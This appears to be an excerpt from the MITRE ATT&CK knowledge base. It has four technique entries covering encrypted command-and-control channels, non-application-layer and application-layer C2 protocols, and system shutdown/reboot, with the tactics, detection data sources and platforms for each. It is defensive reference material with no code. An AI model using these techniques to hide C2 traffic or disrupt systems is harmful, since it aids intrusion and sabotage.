Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre